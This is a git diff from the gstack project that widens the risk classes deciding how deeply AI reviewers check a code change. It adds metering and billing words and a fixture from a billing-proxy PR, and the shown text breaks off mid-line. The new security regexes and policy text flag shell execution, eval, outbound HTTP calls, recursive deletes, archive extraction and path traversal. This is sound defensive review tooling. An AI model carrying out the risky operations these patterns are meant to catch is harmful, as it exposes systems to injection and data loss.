billable, billed or credits, plus token usage, a billing proxy and cost or charge clients, now route to the money reader. gbrain-evals #289, which changed a metering proxy and billing clients and read `required=none`, is now a regression test that reads money. "costume", a CLI's usage text and a plain proxy do not count. +- **When a diff publishes numbers, the batched specialist reads the write-up's text files** instead of leaving docs out of its diff. The collector records the files a diff creates. +- **UI text and SVGs stay code (light).** An allowlist docs path for chart SVGs and locale values was built and dropped for review cost: its first review round found a new bypass class in each version. Every bypass found so far is a test row that classes as code. +- Replayed on the 26 GSTA-167 no-loss units, no unit loses a reviewer role. The replay checked which reviewers get dispatched, not R51's re-scored findings. Over the last 100 main commits, 3 move from light to full and no commit with a gate or risk class drops depth. + ## [1.92.60.0] - 2026-11-02 Free test shards can now run their files as several sub-shards side by side inside one CI job. `bun run scripts/test-free-shards.ts --ci-run --shard --result --jobs ` splits the shard into k parts that each run in their own sandboxed `bun test` process. The default stays at 1, so CI runs exactly as before until a workflow opts in. Bad `--jobs` values stop with `FREE_JOBS_INVALID`, a sub-shard that runs out of time prints `FREE_SUBSHARD_TIMEOUT` with a serial reproduce command, and every CI shard result now records per-file test and `expect()` counts. See docs/TESTING_INTERNALS.md#sub-shards-inside-one-ci-job. diff --git a/VERSION b/VERSION index 33bbd1032..dc92c8730 100644 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -1.92.60.0 +1.92.61.0 diff --git a/agents-digest/gstack-AGENTS.md b/agents-digest/gstack-AGENTS.md index c70c5eb53..6ba15545c 100644 --- a/agents-digest/gstack-AGENTS.md +++ b/agents-digest/gstack-AGENTS.md @@ -1,4 +1,4 @@ -# gstack digest v1.92.60.0 — regenerate/re-copy after upgrading gstack +# gstack digest v1.92.61.0 — regenerate/re-copy after upgrading gstack Behavioral rules from gstack (https://github.com/garrytan/gstack), compressed for agent hosts without a full skill install. The full skills add workflows, diff --git a/docs/review-policy.md b/docs/review-policy.md index 1d4e3612b..51182ed28 100644 --- a/docs/review-policy.md +++ b/docs/review-policy.md @@ -201,17 +201,37 @@ in a data file still schedules the outside voice. added and deleted lines; any class makes the depth full (`risk:` in `reasons=`, `review_depth.risk` in the receipt). money, auth and secret are the [targeted pass](#targeted-pass-on-money-gate-auth-and-secret-code)'s matchers. -**security** is a trust-boundary path (trust, redact, sanitize, neutralize, -consent, escape) or line (`shell: true`, `execSync(`, `eval`, `new Function(`, -raw HTML sinks, a shell run through argv, recursive deletes). **data** is user data: a path naming pii, gdpr, ccpa, privacy, +**money** also reads metering and charge words in a path or on a line (meter, +metering, metered, charge, charged, billable, billed, credits) and three +pairs: usage beside a token or cost word, proxy beside billing, and a client +beside a cost or charge word, so a CLI's usage text and a plain proxy stay out +(GST-850, from gbrain-evals #289, whose metering proxy and billing clients read +`required=none`). **security** is a trust-boundary path (trust, redact, sanitize, neutralize, +consent, escape) or line (`shell: true`, `exec(` and `execSync(`, `eval`, `new Function(`, +raw HTML sinks, a shell run through argv, recursive deletes), any call to an +outbound HTTP client (`fetch`, `http(s).get` or `.request`, axios, got, undici, +`requests`, `httpx`, urllib, with no exemption for a literal URL), `new URL` from +input, redirect toggles, proxy settings and host allowlists, archive extraction +and path traversal (`tar.x`, adm-zip, yauzl, extract-zip, `extractall`, `tar -x`, +`unzip`, `path.join` or `resolve` on request or entry input, a `'..'` check added +or removed), and any changed line that names the `child_process` or +`node:child_process` module, in any import or require spelling. The GST-850 +rules are coarse on purpose and parse no import clause or call arguments; +`test/review-risk-linear.test.ts` holds each of them under 100 ms on +200,000-character hostile lines, its anchor followed by a long run of the +characters it repeats included. That claim covers only the rules GST-850 adds, +not R51's older ones. **data** is user data: a path naming pii, gdpr, ccpa, privacy, personal, account, customer, cookie, persistence, storage or database, or a line that drops a table or column, deletes rows or bulk-deletes records. Auth scope, migrations and deleted code paths were already gate class. `RISK_RULES` hashes the patterns and `DEPTH_RULES` includes it. **UI text and SVGs** stay code (light unless a risk class applies). A docs path -for UI copy, locale values and chart SVGs waits for an allowlist classifier: three -rounds of R51 review found bypasses in line-pattern versions of both. +for UI copy, locale values and chart SVGs was built as an allowlist in GST-850 and +dropped for review cost: its first review round found a new bypass class in each +version, the same pattern as three rounds of R51. When a diff publishes numbers, +the batched specialist's diff keeps the write-up's text files instead of leaving +docs out. **Batched checklists (the lean ensemble, GSTA-167 part 2).** One specialist subagent reads Testing and Security on every code or gate diff, plus diff --git a/lib/review-collect.ts b/lib/review-collect.ts index 7fbfdae12..8df418713 100644 --- a/lib/review-collect.ts +++ b/lib/review-collect.ts @@ -20,6 +20,8 @@ export interface Collected extends ClassInput { errors: DepthError[]; deleted: string[]; stampOnly: string[]; + /** Paths the diff creates (untracked files included): their added lines are the whole file. */ + created: string[]; /** Added lines per path, for scanNumbers. */ added: Record; /** Deleted lines per path, for the targeted classes (lib/review-targeted.ts). */ @@ -54,11 +56,11 @@ export function loadRegistryAt(root: string, sha: string): RegistryInfo { } /** Numstat, deletions and the -U0 patch for `range` (`[mergeBase, head]` or `[mergeBase]` for the working tree). */ -function readDiff(root: string, range: string[], errors: DepthError[]): Pick { +function readDiff(root: string, range: string[], errors: DepthError[]): Pick { const numstat = git(root, ['diff', '--numstat', '-z', '--no-renames', ...range]); const status = git(root, ['diff', '--name-status', '-z', '--no-renames', '--diff-filter=D', ...range]); const patch = git(root, ['diff', '-U0', '--no-color', '--no-ext-diff', '--no-renames', ...range]); - const empty = { perPath: [], deleted: [], stampOnly: [], added: {}, removed: {} }; + const empty = { perPath: [], deleted: [], stampOnly: [], created: [], added: {}, removed: {} }; for (const [r, what] of [[numstat, '--numstat'], [status, '--name-status'], [patch, '-U0']] as const) { if (!r.ok) { errors.push({ code: 'numstat_failed', detail: oneLine(r.err || 'git diff failed'), input: `git diff ${what} ${range.join(' ')}`, repair: 'check that both commits exist locally (git fetch origin ) and rerun' }); return empty; } } @@ -73,6 +75,7 @@ function readDiff(root: string, range: string[], errors: DepthError[]): Pick = {}; const removed: Record = {}; const changed: Record = {}; + const created: string[] = []; let cur = ''; let minus = ''; let inHunk = false; @@ -80,7 +83,7 @@ function readDiff(root: string, range: string[], errors: DepthError[]): Pick e.path).filter(p => p.endsWith('package.json') && !!changed[p]?.length && changed[p]!.every(l => /^[+-]\s*"version"\s*:\s*"[^"]*"\s*,?\s*$/.test(l))); - return { perPath, deleted, stampOnly, added, removed }; + return { perPath, deleted, stampOnly, created, added, removed }; } /** More data candidates than this keep every data file code: the consumer scan is not run. */ @@ -158,7 +161,7 @@ export function collectCommit(root: string, baseSha: string, headSha: string): C const mb = git(root, ['merge-base', baseSha, headSha]); if (!mb.ok) { errors.push({ code: 'numstat_failed', detail: oneLine(mb.err || 'no merge base'), input: `git merge-base ${baseSha} ${headSha}`, repair: 'check that both commits exist locally (git fetch origin ) and rerun' }); - return result({ perPath: [], deleted: [], stampOnly: [], added: {}, removed: {} }, { root: [], registry, errors, mergeBase: null, untracked: [], consumed: 'all' }); + return result({ perPath: [], deleted: [], stampOnly: [], created: [], added: {}, removed: {} }, { root: [], registry, errors, mergeBase: null, untracked: [], consumed: 'all' }); } const mergeBase = mb.out.trim(); const diff = readDiff(root, [mergeBase, headSha], errors); @@ -176,7 +179,7 @@ export function collectLive(root: string, base: string): Collected { const mb = git(root, ['merge-base', ref, 'HEAD']); if (!mb.ok) { errors.push({ code: 'numstat_failed', detail: oneLine(mb.err || `no merge base with ${ref}`), input: `git merge-base ${ref} HEAD`, repair: `fetch the base first (git fetch origin ${base})` }); - return result({ perPath: [], deleted: [], stampOnly: [], added: {}, removed: {} }, { root, registry, errors, mergeBase: null, untracked: [], consumed: 'all' }); + return result({ perPath: [], deleted: [], stampOnly: [], created: [], added: {}, removed: {} }, { root, registry, errors, mergeBase: null, untracked: [], consumed: 'all' }); } const mergeBase = mb.out.trim(); const diff = readDiff(root, [mergeBase], errors); @@ -190,7 +193,7 @@ export function collectLive(root: string, base: string): Collected { const text = binary ? '' : buf.toString('utf8'); const lines = text ? text.split('\n').length - (text.endsWith('\n') ? 1 : 0) : 0; diff.perPath.push({ path: p, lines, binary }); - if (!binary) diff.added[p] = text.split('\n'); + if (!binary) { diff.added[p] = text.split('\n'); diff.created.push(p); } } const consumed = scanConsumers(root, [...diff.perPath.map(e => e.path), ...diff.deleted], [mergeBase], true, root, errors); return result(diff, { root, registry, errors, mergeBase, untracked, consumed }); diff --git a/lib/review-depth.ts b/lib/review-depth.ts index 714e44183..268d40de7 100644 --- a/lib/review-depth.ts +++ b/lib/review-depth.ts @@ -131,6 +131,8 @@ export interface ClassInput { * (lib/review-collect.ts). A candidate not listed counts as docs; 'all' or no scan keeps every data file code. */ consumed?: readonly string[] | 'all'; + /** Paths the diff creates (untracked files included): their added lines are the whole file. */ + created?: readonly string[]; /** Added and deleted lines per path (lib/review-collect.ts): the risk classes read them; without them no line signal applies. */ added?: Record; removed?: Record; @@ -395,7 +397,7 @@ export function planReview(i: PlanInput): ReviewPlan { const skipped: string[] = []; const dispatches: Dispatch[] = []; const add = (role: Role, name: string, effort: Effort, exclude: string[] = [], extra: Partial = {}) => dispatches.push({ role, name, effort, exclude, ...extra }); - const docsAndOutputs = i.paths.filter(p => pathClass(i, p) === 'docs' || isOutput(i, p)).map(excludeSpec); + const docsAndOutputs = i.paths.filter(p => (pathClass(i, p) === 'docs' && !(i.numbers.publishes && DOC_PATH.test(p))) || isOutput(i, p)).map(excludeSpec); const numbersChanged = i.numbers.publishes && i.reviewedNumbers !== undefined && i.reviewedNumbers !== i.numbers.fingerprint; const firstVoices = h.fullPasses === 0 || !i.adversarialRan; const specialist: Effort = i.tiers === false ? 'host' : ROLE_EFFORT.specialist; diff --git a/lib/review-risk.ts b/lib/review-risk.ts index c1ed328a1..e4f22b195 100644 --- a/lib/review-risk.ts +++ b/lib/review-risk.ts @@ -4,16 +4,23 @@ * and deleted lines, so it imports neither the depth nor the targeted module. * * money, auth and secret are the targeted pass's matchers (GST-257). security is a trust-boundary path or line - * (a redaction, sanitizer, consent or trust module; a shell, eval or raw HTML sink); data is user data (a path - * naming personal or stored data, or a line that drops or bulk-deletes it). Path and identifier signals are - * token-bounded: costume never names cost. + * (a redaction, sanitizer, consent or trust module; a shell, eval or raw HTML sink; outbound URL handling; archive + * extraction and path traversal; any line naming the child_process module); data is user data (a path naming personal or + * stored data, or a line that drops or bulk-deletes it). Path and identifier signals are token-bounded: costume never + * names cost, and a CLI's usage text never names money. */ import { createHash } from 'node:crypto'; export const RISK_CLASSES = ['money', 'auth', 'secret', 'security', 'data'] as const; export type RiskClass = (typeof RISK_CLASSES)[number]; -export const MONEY_PATH_TOKENS = ['cost', 'costs', 'spend', 'spending', 'budget', 'budgets', 'ledger', 'billing', 'price', 'prices', 'pricing', 'fee', 'fees', 'invoice', 'invoices']; +/** Metering and charge words (GST-850: gbrain-evals #289 changed a metering proxy and billing clients with none of the older tokens); they also count on a line. */ +export const MONEY_LINE_TOKENS = ['meter', 'meters', 'metering', 'metered', 'charge', 'charges', 'charged', 'billable', 'billed', 'credits']; +export const MONEY_PATH_TOKENS = ['cost', 'costs', 'spend', 'spending', 'budget', 'budgets', 'ledger', 'billing', 'price', 'prices', 'pricing', 'fee', 'fees', 'invoice', 'invoices', ...MONEY_LINE_TOKENS]; +/** Words that name money only beside another in the same path or line: token usage, a billing proxy, a cost or charge client. */ +export const MONEY_PAIRS: readonly (readonly [string, readonly string[]])[] = [ + ['usage', ['token', 'tokens', 'cost', 'costs', 'spend', 'billing', 'price', 'pricing', 'budget']], ['proxy', ['billing', 'bill']], ['client', ['cost', 'costs', 'charge', 'charges', 'billing', 'price', 'pricing', 'spend']], +]; /** Identifiers ending in _usd, Usd or cap_usd, any spend_cap spelling, and paid-provider call sites (the providers lib/pricing.ts prices). */ export const MONEY_LINE = [ /\b[A-Za-z0-9_]*_usd\b/i, /\b[a-z][A-Za-z0-9]*Usd\b/, /\bspend[_-]?cap\b/i, @@ -33,22 +40,36 @@ export const SECRET_LINE = [ ]; const SECURITY_PATH_TOKENS = ['trust', 'redact', 'redaction', 'redactor', 'sanitize', 'sanitizer', 'neutralize', 'neutralizer', 'consent', 'escape']; -const SECURITY_LINE = [ - /\bshell\s*:\s*true\b/, /\bshell\s*=\s*True\b/, /(?]))/, /\b(?:allowed|trusted|blocked|denied)[_-]?(?:hosts?|domains?|origins?|urls?)|\b(?:hosts?|domains?|origins?|urls?)[_-]?(?:allow|deny|block)[_-]?list/i, + /\btar\.(?:x|extract)\s*\(|\.(?:extractall|extractAllTo|extractEntryTo)\s*\(|\b(?:tar|tf|zf|zip|archive)\.extract\s*\(|\bshutil\.unpack_archive\s*\(|\b(?:adm-zip|AdmZip|yauzl|extract-zip|unzipper|node-stream-zip)\b/, + /\btar\s+(?:-[A-Za-z]*x|x[A-Za-z]*\s|--extract)|\bunzip\s+[-\w"'$]/, + /\bpath\.(?:join|resolve)\s*\([^)]{0,300}?(?:\b(?:req|request|params|query|argv|headers?|filename|fileName|entryName|member|upload|untrusted|userInput)\b|\bentry\.(?:path|name|fileName)\b)/, + /\b(?:includes|startsWith|endsWith|indexOf)\s*\(\s*['"`]\.\.[/\\]{0,2}['"`]|[!=]==?\s*['"`]\.\.['"`]|['"`]\.\.['"`]\s*[!=]==?|\\\.\\\./, /(? t.some(x => words.includes(x)) || MONEY_PAIRS.some(([w, beside]) => t.includes(w) && t.some(x => beside.includes(x))); + /** A hash of the patterns that decide the risk classes, not of this file's bytes; lib/review-depth.ts folds it into DEPTH_RULES. */ export const RISK_RULES = createHash('sha256').update(JSON.stringify({ RISK_CLASSES, MONEY_PATH_TOKENS, AUTH_PATH_TOKENS, AUTH_PATH_PREFIXES, KEY_NAME, SECURITY_PATH_TOKENS, DATA_PATH_TOKENS, + MONEY_LINE_TOKENS, MONEY_PAIRS, patterns: Object.entries({ MONEY_LINE, SECRET_LINE, SECRET_PATH: [SECRET_PATH], SECURITY_LINE, DATA_LINE }).map(([k, v]) => [k, v.map(r => '/' + r.source + '/' + r.flags)]), })).digest('hex').slice(0, 16); @@ -71,11 +92,11 @@ export function matchRisk(i: RiskInput): Map { const t = tokens(p); if (i.scopeAuth && t.some(x => AUTH_PATH_TOKENS.includes(x) || AUTH_PATH_PREFIXES.some(a => x.startsWith(a)))) hit('auth', 'auth path: ' + p); if (SECRET_PATH.test(p)) hit('secret', 'secret path: ' + p); - if (t.some(x => MONEY_PATH_TOKENS.includes(x))) hit('money', 'money path: ' + p); + if (namesMoney(t, MONEY_PATH_TOKENS)) hit('money', 'money path: ' + p); if (t.some(x => SECURITY_PATH_TOKENS.includes(x))) hit('security', 'security path: ' + p); if (t.some(x => DATA_PATH_TOKENS.includes(x))) hit('data', 'data path: ' + p); for (const line of [...(i.added?.[p] ?? []), ...(i.removed?.[p] ?? [])]) { - if (!why.has('money') && MONEY_LINE.some(r => r.test(line))) hit('money', 'money line: ' + p); + if (!why.has('money') && (MONEY_LINE.some(r => r.test(line)) || namesMoney(tokens(line), MONEY_LINE_TOKENS))) hit('money', 'money line: ' + p); if (!why.has('secret') && SECRET_LINE.some(r => r.test(line))) hit('secret', 'secret line: ' + p); if (!why.has('security') && SECURITY_LINE.some(r => r.test(line))) hit('security', 'security line: ' + p); if (!why.has('data') && DATA_LINE.some(r => r.test(line))) hit('data', 'data line: ' + p); diff --git a/lib/review-targeted.ts b/lib/review-targeted.ts index 49d27462a..7fe8c2fe7 100644 --- a/lib/review-targeted.ts +++ b/lib/review-targeted.ts @@ -21,14 +21,14 @@ import { createHash } from 'node:crypto'; import * as fs from 'node:fs'; import * as path from 'node:path'; import { classifyPath } from './review-depth'; -import { AUTH_PATH_PREFIXES, AUTH_PATH_TOKENS, KEY_NAME, MONEY_LINE, MONEY_PATH_TOKENS, SECRET_LINE, SECRET_PATH, matchRisk } from './review-risk'; +import { AUTH_PATH_PREFIXES, AUTH_PATH_TOKENS, KEY_NAME, MONEY_LINE, MONEY_LINE_TOKENS, MONEY_PAIRS, MONEY_PATH_TOKENS, SECRET_LINE, SECRET_PATH, matchRisk } from './review-risk'; export const TARGETED_CLASSES = ['money', 'gate', 'auth', 'secret'] as const; export type TargetedClass = (typeof TARGETED_CLASSES)[number]; /** A hash of the patterns that decide the classes, not of this file's bytes: a comment edit keeps it, a pattern edit changes it. */ export const TARGETED_RULES = createHash('sha256').update(JSON.stringify({ - TARGETED_CLASSES, MONEY_PATH_TOKENS, AUTH_PATH_TOKENS, AUTH_PATH_PREFIXES, KEY_NAME, + TARGETED_CLASSES, MONEY_PATH_TOKENS, MONEY_LINE_TOKENS, MONEY_PAIRS, AUTH_PATH_TOKENS, AUTH_PATH_PREFIXES, KEY_NAME, patterns: Object.entries({ MONEY_LINE, SECRET_LINE, SECRET_PATH: [SECRET_PATH] }).map(([k, v]) => [k, v.map(r => `/${r.source}/${r.flags}`)]), })).digest('hex').slice(0, 16); diff --git a/package.json b/package.json index d1670b592..c6e536d5c 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "gstack", - "version": "1.92.60", + "version": "1.92.61", "description": "Garry's Stack — Claude Code skills + fast headless browser. One repo, one install, entire AI engineering workflow.", "license": "MIT", "type": "module", diff --git a/test/fixtures/review-risk/gbrain-evals-289.json b/test/fixtures/review-risk/gbrain-evals-289.json new file mode 100644 index 000000000..b9a57967b --- /dev/null +++ b/test/fixtures/review-risk/gbrain-evals-289.json @@ -0,0 +1,139 @@ +{ + "source": "garrytan/gbrain-evals#289 (merge 513de26d): changed lines of its code-class paths, read as text via gh pr diff", + "paths": [ + "CHANGELOG.md", + "docs/benchmarks/cat40-hard/accepted-drift.json", + "docs/benchmarks/cat40-hard/calibration.md", + "docs/usage-receipt.md", + "eval/runner/cat40/loop.ts", + "eval/runner/harness-metering-proxy.ts", + "eval/runner/providers/openai-compatible.ts", + "eval/runner/q1/cell.ts", + "eval/runner/systems/baselines.ts", + "eval/workload-suites/bench-infra.ts", + "scripts/particle-canary.ts", + "test/eval/cat40-particle-loop.test.ts", + "test/eval/file-agent.test.ts", + "test/eval/harness-metering-proxy.test.ts", + "test/eval/memory-qa-particle.test.ts", + "test/eval/openai-compatible.test.ts", + "test/eval/particle-canary.test.ts", + "test/eval/q1-cell.test.ts", + "test/eval/workload-particle.test.ts" + ], + "added": { + "eval/runner/cat40/loop.ts": [ + "/** A provider's non-2xx answer, after backoff for retryable statuses, or a particle 2xx without a message (its 2xx status). */", + " * Particle runs only: the run ended on a turn that timed out, lost its connection after it went out, or was answered", + " * 2xx without a message (`compatMayHaveBilled`). Particle may have billed that turn, so a caller never runs the", + " * question again.", + " * recorded, and a 2xx that is not JSON or has no `choices[0].message` is recorded and thrown as a ProviderError with", + " * its 2xx status, never sent again, because the provider answered it and may have billed it (issue #280). A `compat`", + " * request is sent with `compatDeadlineMs` instead of Bun's 300-second fetch timeout, and a 504 (a gateway's or the lease", + " const answered = new ProviderError(res.status, `${compat} answered ${res.status} ${parsed ? 'without choices[0].message' : 'with a body that is not JSON'}: ${text.slice(0, 300)}`);", + " onAttempt?.({ status: 'error', response: json, error: answered.message, ms: Date.now() - t, retry_after_ms: null });", + " throw answered;" + ], + "eval/runner/harness-metering-proxy.ts": [ + " * A particle request that failed after it went out (the upstream deadline", + " * passed, the connection reset or closed, or the response body failed to", + " * read) is answered 504 `mpw_proxy_upstream_lost`, which no particle client", + " * sends again, because Particle may have billed it. Any other upstream", + " * failure, such as a refused connection, is a 502", + " * `mpw_proxy_upstream_unreachable` that a client may send again (issue #282).", + " *", + "import { carriesKeyInCleartext, COMPAT_PROVIDERS, compatConnectionLost } from './providers/openai-compatible.ts';", + " const lost = provider === 'particle' && ((error as Error).name === 'TimeoutError' || compatConnectionLost(error));", + " const message = `metering proxy ${lost ? 'lost the request it sent to' : 'could not reach'} ${provider}: ${(error as Error).message}`;", + " return finish(lost ? errorResponse(504, 'mpw_proxy_upstream_lost', message) : errorResponse(502, 'mpw_proxy_upstream_unreachable', message), { ...settle(null, 0, message), error: message });", + " return finish(provider === 'particle' ? errorResponse(504, 'mpw_proxy_upstream_lost', message) : errorResponse(502, 'mpw_proxy_upstream_unreachable', message), { ...settle(null, upstream.status, message), error: message });" + ], + "eval/runner/providers/openai-compatible.ts": [ + "/** A non-2xx answer that is not a budget stop, or a 2xx answer without a usable `choices[0].message` (`compatSend`). */", + " * A request the provider may have billed: it timed out (`compatTimedOut`), its connection was lost after it went out", + " * (`compatConnectionLost`), or it was answered 2xx without a usable `choices[0].message` (an error carrying that 2xx", + " * status, issue #280). A caller never sends it again, with or without a metering proxy in front.", + " const status = (e as { status?: unknown } | null)?.status;", + " return compatTimedOut(e) || compatConnectionLost(e) || (typeof status === 'number' && status >= 200 && status < 300);", + " * decides any retry. A 2xx answer without `choices[0].message`, or whose body is not JSON, is an error carrying its 2xx", + " * status and the usage it reported, never an empty answer, and it is not retryable: the provider answered, so it may", + " * have billed it (`compatMayHaveBilled`, issue #280). `timeoutMs` (300 s unless given) is the only deadline: Bun's own", + " * 300-second fetch timeout is off, so a longer deadline holds.", + " catch { throw new CompatHttpError({ provider: req.provider, status: res.status, kind: 'server', retryable: false, retryAfterMs: null, body: `response body is not JSON: ${text.slice(0, 200)}` }); }", + " if (!Array.isArray(choices) || !choices[0]?.message) throw new CompatHttpError({ provider: req.provider, status: res.status, kind: 'server', retryable: false, retryAfterMs: null, body: `response has no choices[0].message: ${text.slice(0, 200)}` }, parsed.usage);" + ], + "eval/runner/q1/cell.ts": [ + " /** `final`: a try that must not be sent again (an OpenAI-compatible request that timed out, lost its connection or was answered 2xx without a message, which the provider may have billed). */" + ], + "eval/runner/systems/baselines.ts": [ + " /** The last request timed out, lost its connection after it went out or was answered 2xx without a message; Particle may have billed it, so the cell never sends it again. */", + " * (`compatDeadlineMs`), and one that times out, loses its connection after it went out or is answered 2xx without a", + " * message (`compatMayHaveBilled`) is a `reader_error` that is never sent again, because Particle may have billed it. Each attempt is recorded, the failed ones with null response" + ], + "eval/workload-suites/bench-infra.ts": [ + "import { COMPAT_PROVIDERS, CompatHttpError, ParticleCreditExhausted, compatMayHaveBilled, compatRequest, compatSend, type CompatRequest, type CompatResponse } from '../runner/providers/openai-compatible.ts';", + " * not Bun's 300-second fetch timeout. A request Particle may have billed (`compatMayHaveBilled`: it timed out, lost its", + " * connection after it went out, was answered 504, which the harness proxy sends when its upstream request failed after", + " * it went out, or was answered 2xx without a message) is never sent again (issue #282).", + " const retry = !compatMayHaveBilled(error) && (http ? http.retryable && attempt < 5 : !budget && attempt < 4);" + ], + "scripts/particle-canary.ts": [ + "import { CompatHttpError, assertMetered, compatBaseUrl, compatMayHaveBilled, compatRequest, compatSend, isLoopbackUrl, type CanarySampling, type CompatLogprob, type CompatRequest } from '../eval/runner/providers/openai-compatible.ts';", + "/**", + " * Send the canary once per prompt (up to 3 attempts on a 429 or 5xx, honoring a capped Retry-After). A request Particle", + " * may have billed (`compatMayHaveBilled`: a 504, or a 2xx without a message) is never sent again (issue #282). A budget", + " * stop ends it after its receipt.", + " */", + " if (!(e instanceof CompatHttpError && e.retryable) || compatMayHaveBilled(e) || attempt === ATTEMPTS - 1) break;" + ] + }, + "removed": { + "eval/runner/cat40/loop.ts": [ + "/** A provider's non-2xx answer, after backoff for retryable statuses. */", + " * Particle runs only: the run ended on a turn that timed out, or lost its connection after it went out", + " * (`compatMayHaveBilled`). Particle may have billed that turn, so a caller never runs the question again.", + " * recorded, and a 2xx that is not JSON or has no `choices[0].message` is retried as a server error. A `compat` request", + " * is sent with `compatDeadlineMs` instead of Bun's 300-second fetch timeout, and a 504 (a gateway's or the lease", + " last = new ProviderError(502, `${compat} answered ${res.status} ${parsed ? 'without choices[0].message' : 'with a body that is not JSON'}: ${text.slice(0, 300)}`);", + " onAttempt?.({ status: 'error', response: json, error: last.message, ms: Date.now() - t, retry_after_ms: null });", + " if (attempt < 5) await new Promise(r => setTimeout(r, Math.min(60_000, 2000 * 2 ** attempt) + Math.random() * 1000));", + " continue;" + ], + "eval/runner/harness-metering-proxy.ts": [ + "import { carriesKeyInCleartext, COMPAT_PROVIDERS } from './providers/openai-compatible.ts';", + " const message = `metering proxy could not reach ${provider}: ${(error as Error).message}`;", + " return finish(errorResponse(502, 'mpw_proxy_upstream_unreachable', message), { ...settle(null, 0, message), error: message });", + " return finish(errorResponse(502, 'mpw_proxy_upstream_unreachable', message), { ...settle(null, upstream.status, message), error: message });" + ], + "eval/runner/providers/openai-compatible.ts": [ + "/** A non-2xx answer that is not a budget stop. */", + " * A request the provider may have billed: it timed out (`compatTimedOut`) or its connection was lost after it went out", + " * (`compatConnectionLost`). A caller never sends it again, with or without a metering proxy in front.", + " return compatTimedOut(e) || compatConnectionLost(e);", + " * decides any retry. A 2xx answer without `choices[0].message` is a server error carrying the usage it reported,", + " * never an empty answer. `timeoutMs` (300 s unless given) is the only deadline: Bun's own 300-second fetch timeout is", + " * off, so a longer deadline holds.", + " catch { throw new CompatHttpError({ provider: req.provider, status: res.status, kind: 'server', retryable: true, retryAfterMs: null, body: `response body is not JSON: ${text.slice(0, 200)}` }); }", + " if (!Array.isArray(choices) || !choices[0]?.message) throw new CompatHttpError({ provider: req.provider, status: res.status, kind: 'server', retryable: true, retryAfterMs: null, body: `response has no choices[0].message: ${text.slice(0, 200)}` }, parsed.usage);" + ], + "eval/runner/q1/cell.ts": [ + " /** `final`: a try that must not be sent again (an OpenAI-compatible request that timed out or lost its connection, which the provider may have billed). */" + ], + "eval/runner/systems/baselines.ts": [ + " /** The last request timed out or lost its connection after it went out; Particle may have billed it, so the cell never sends it again. */", + " * (`compatDeadlineMs`), and one that times out or loses its connection after it", + " * went out (`compatMayHaveBilled`) is a `reader_error` that is never sent again, because Particle may have billed it. Each attempt is recorded, the failed ones with null response" + ], + "eval/workload-suites/bench-infra.ts": [ + "import { COMPAT_PROVIDERS, CompatHttpError, ParticleCreditExhausted, compatRequest, compatSend, type CompatRequest, type CompatResponse } from '../runner/providers/openai-compatible.ts';", + " * not Bun's 300-second fetch timeout, and a request that times out is never sent again.", + " const timedOut = error.name === 'TimeoutError' || error.name === 'AbortError';", + " const retry = http ? http.retryable && attempt < 5 : !budget && !timedOut && attempt < 4;" + ], + "scripts/particle-canary.ts": [ + "import { CompatHttpError, assertMetered, compatBaseUrl, compatRequest, compatSend, isLoopbackUrl, type CanarySampling, type CompatLogprob, type CompatRequest } from '../eval/runner/providers/openai-compatible.ts';", + "/** Send the canary once per prompt (up to 3 attempts on a 429 or 5xx, honoring a capped Retry-After). A budget stop ends it after its receipt. */", + " if (!(e instanceof CompatHttpError && e.retryable) || attempt === ATTEMPTS - 1) break;" + ] + } +} \ No newline at end of file diff --git a/test/helpers/free-fixtures-data.ts b/test/helpers/free-fixtures-data.ts index 004d79b1e..ec16a90f8 100644 --- a/test/helpers/free-fixtures-data.ts +++ b/test/helpers/free-fixtures-data.ts @@ -205,6 +205,7 @@ export const FREE_FIXTURES: Readonly> = { 'test/fixtures/remote-identity-vectors.json': ['test/bin-context-windows-slug.test.ts', 'test/gstack-slug-parity.test.ts', 'test/remote-identity-vectors.test.ts'], 'test/fixtures/review-depth/**': ['test/review-dispatch-compare.test.ts'], 'test/fixtures/review-ledger/**': ['test/review-dispatch.test.ts'], + 'test/fixtures/review-risk/gbrain-evals-289.json': ['test/review-risk-routing.test.ts'], 'test/fixtures/review-design-lite-reports-ci-36633323521.json': ['test/review-finalization-budget.test.ts'], 'test/fixtures/review-gate-integrity-opus-reports.json': ['test/gate-integrity-templates.test.ts'], 'test/fixtures/session-update-heartbeat.sh': ['test/session-update-heartbeat.test.ts'], diff --git a/test/review-packets-removed.test.ts b/test/review-packets-removed.test.ts index 747723390..c8ab8f706 100644 --- a/test/review-packets-removed.test.ts +++ b/test/review-packets-removed.test.ts @@ -56,6 +56,7 @@ const NO_LOSS_REPLAYS = { 'G1': "GSTA-167 variant G Arm G1: live no-loss replay of both prose voices with part 1's prompts, 2 passes, normalizer v2, paired rule against pooled C' (parts 1 and 3; specialists at medium as in C and C2)", 'L': "GSTA-167 variant G Arm L: live no-loss replay of one batched reader (testing and security plus scoped checklists) and the Red Team on its findings, 2 passes, scored L∘G1 against G1 on the paired rule (part 2)", 'GST-257': "GST-257 PR 1 dispatch-superset no-loss check (test/review-targeted.test.ts): on every fixture diff the branch dispatches main's reviewers at 8be7f21 unchanged plus only the targeted reader, and over the last 100 non-release commits on main it lost none; adds the targeted role and brief to the G1 and L bytes, whose existing reviewer text is unchanged", + 'GST-850': "GST-850 dispatch-superset no-loss check: on the 26 GSTA-167 no-loss units the branch plan (wider security and money classes, write-up text in the batched diff) drops no reviewer role main dispatches, so no saved blocker can be lost, and over the last 100 main commits no commit with a gate or risk class drops depth (test/review-risk-routing.test.ts, test/review-risk-linear.test.ts); reviewer text is unchanged", 'R51': "R51 risk-tier routing no-loss re-score (GSTA-167): the saved panel findings (349 records over 24 of the 26 no-loss units) re-scored against the branch's plan lose no blocker whose only finders are roles it drops, and every gate, security, user-data and money fixture keeps main's reviewers plus the full panel (test/review-targeted.test.ts, test/review-risk-routing.test.ts); reviewer text is unchanged", } as const; type Replay = keyof typeof NO_LOSS_REPLAYS; @@ -78,8 +79,8 @@ const REVIEWER_BRIEFS: Record = { 'review/specialists/testing.md': { sha: 'd6cc2bef7be562387d0c0a22fefe646dff9c295f1d34d8453a6cb496584150e4', replay: '#3638' }, 'review/specialists/targeted.md': { sha: '7f92a0d0a8319c3c0e076fb3b1a4689c45120b2be2c14dfc7d4cb03aafa9d6a5', replay: 'GST-257' }, 'scripts/resolvers/fix-check.ts': { sha: '712bf5b0c439e96bac32f19cbe25394dabb4c94aa66600100bfde9b100e15a08', replay: '#3638' }, - 'lib/review-depth.ts': { sha: 